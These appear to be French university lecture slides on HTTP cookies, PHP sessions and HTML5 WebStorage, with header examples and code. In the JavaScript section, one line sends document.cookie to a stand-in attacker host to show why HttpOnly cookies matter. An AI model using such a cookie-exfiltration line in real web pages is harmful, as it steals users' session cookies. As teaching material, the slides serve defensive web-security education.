Cookies, Sessions, WebStorage

felipe@IFT3225 Hiver 2020

Cookies

- Mécanisme HTTP

- **Principe**:
  - un serveur via une entête HTTP Set-Cookie une paire attribut/valeur.
  - Les cookies sont stockés par le client (navigateur) qui soumet les cookies de ce serveur à chaque nouvelle requête à ce serveur.
  - La durée de vie d'un cookie est décidée par le serveur.
  - Des contraintes de sous-domaine peuvent contrôler un cookie particulier.

réponse serveur www.example.org

```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[contenu de la page]
```

requête subséquente

```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

Durée de vie d'un cookie

- Par défaut, un cookie est valable pour la session
- Le serveur peut spécifier une date d'expiration
  - en dur (heure du client): Expires

```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

```
var d = new Date();
d.setTime(d.getTime() + 5*60*1000); // in milliseconds
document.cookie = 'foo=bar;path=/;expires='+d.toGMTString()+';';
```

  - En relatif (nb de secondes): Max-Age
    - IE*n. (n=6,7,8)* ne reconnaît pas Max-Age
    - Précédance sur Expires
    - Un nb négatif ou nul veut dire: expiré !
    - Demeure un voeux pieu (restored sessions)

```
document.cookie = 'foo=bar;max-age='+5*60+';';
```

Set-Cookie

```
Set-Cookie: <cookie-name>=<cookie-value>
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
```

recommandé

```
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax

// Multiple directives are also possible, for example:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
```

Domain=

- Pour indiquer des domaines où les cookies seront envoyés

Path=

- Pour indiquer les paths qui requièrent l'envoi du cookie

HTTPOnly

- Cookie non accessible par `Document.cookie`

Exemple 1

Une application Web abritée au DIRO

HTTP/1.1 200 OK

Set-Cookie: Login="Jean";

Path="/test/; Domain="www.iro.umontreal.ca";

Le navigateur doit émettre un header `Cookie` à chaque requête au domaine indiqué avec un path qui commence par `/test/`

GET /test/ici.html HTTP/1.1

Host: www.iro.umontreal.ca

Cookie: Login="Jean"

Exemple 2

1. Un client s'identifie à une serveur de location de films

```
GET /movies/register HTTP/1.1
Host: www.movie-rental.com
Authorization: ...
```

2. Le serveur répond

```
HTTP/1.1 OK 200
Set-Cookie: Customer="Jean"; Path="/movies";
Secure;
```

3. Le client consulte les recommendations

```
GET /movies/recommended HTTP/1.1
Host: www.movie-rental.com
Cookie: Customer="Jean"
```

Exemple 2

4. Le serveur répond avec un film recommandé

HTTP/1.1 200 OK
Set-Cookie: Movie="Matrix"; Customer="Jean"; Path=" /movies"; Secure; Version="1";

<html>
... www.movie-rental.com/movies/access ...
</html>

5. Le client visite la page recommandée

GET /movies/access HTTP/1.1

Host: www.movie-rental.com

Cookie: Customer="Jean"; Movie="Matrix";

Exemple 2

6. Le serveur renvoie les informations utiles au téléchargement

```
HTTP/1.1 200 OK
Set-Cookie: Channel="32"; Passwd="123456"; Path="/movies/buy"; Secure; Version="1";

<html>
... www.movies-rental.com/movies/buy/check ...
</html>
```

7. Le client de connecte pour télécharger

```
GET /movies/buy/check HTTP/1.1
Host: www.movie-rental.com
Cookie: Customer="Jean"; Movie="Matrix";
Cookie: Channel="32"; Passwd="1234456";
```

Envoyer des cookies en PHP

```
setcookie ( string $name [, string $value = "" [, int $expires = 0 [, string $path =
"" [, string $domain = "" [, bool $secure = FALSE [, bool $httponly = FALSE ]]]]]] )
: bool
```

à envoyer avant toute sortie (header)

Envoi:

```php
<?php
$value = 'something from somewhere';

setcookie("TestCookie", $value);
setcookie("TestCookie", $value, time()+3600);  /* expire in 1 hour */
setcookie("TestCookie", $value, time()+3600, "/~rasmus/", "example.com", 1);
?>
```

Destruction:

```php
setcookie("TestCookie", $value, time()-3600);
```

Lecture:

```php
if (isset($_COOKIE['cookie'])) {
    foreach ($_COOKIE['cookie'] as $name => $value) {
        $name = htmlspecialchars($name);
        $value = htmlspecialchars($value);
        echo "$name : $value <br />\n";
    }
}
```

4,096 bytes de données max

Cookies & javascript

cool:

```
console.log(document.cookie);
```

mais:

```
(new Image()).src = "http://www.evil-domain.com/steal-
cookie.php?cookie=" + document.cookie;
```

Les cookies envoyés avec HttpOnly ne sont pas accessibles à javascript

```
function logCookies(cookies) {
  for (cookie of cookies) {
    console.log(`Domain: ${cookie.domain}`);
    console.log(`Name: ${cookie.name}`);
    console.log(`Value: ${cookie.value}`);
    console.log(`Persistent: ${!cookie.session}`);
  }
}

var gettingAll = browser.cookies.getAll({});
gettingAll.then(logCookies);
```

Pas disponible sur tous les navigateurs

Session

Les cookies peuvent être refusés par le client. Une session peut maintenir des variables gérées côté serveur.

- `session_start()` : démarre le système de sessions. Si le visiteur vient d'arriver sur le site, alors un numéro de session est généré pour lui. Vous devez appeler cette fonction au tout début de chacune des pages où vous avez besoin des variables de session.
- `session_destroy()` : ferme la session du visiteur. Cette fonction est automatiquement appelée lorsque le visiteur ne charge plus de page de votre site pendant plusieurs minutes (c'est le timeout), mais vous pouvez aussi créer une page « Déconnexion » si le visiteur souhaite se déconnecter manuellement.

- PHP crée un identificateur unique de session
- envoyé via un cookie (PHPSESSID) à l'utilisateur
- un fichier dans un répertoire désigné est stocké côté serveur (sess_*id*)

WebStorage

- Stockage de paires attribut/valeur côté client
- Introduit dans HTML5
- Gestion en javascript: (Local|Session)Storage

```
1 | localStorage.setItem('myCat', 'Tom');
```

The syntax for reading the `localStorage` item is as follows:

```
1 | var cat = localStorage.getItem('myCat');
```

The syntax for removing the `localStorage` item is as follows:

```
1 | localStorage.removeItem('myCat');
```

The syntax for removing all the `localStorage` items is as follows:

```
1 | // Clear all items
2 | localStorage.clear();
```

Storage Inspector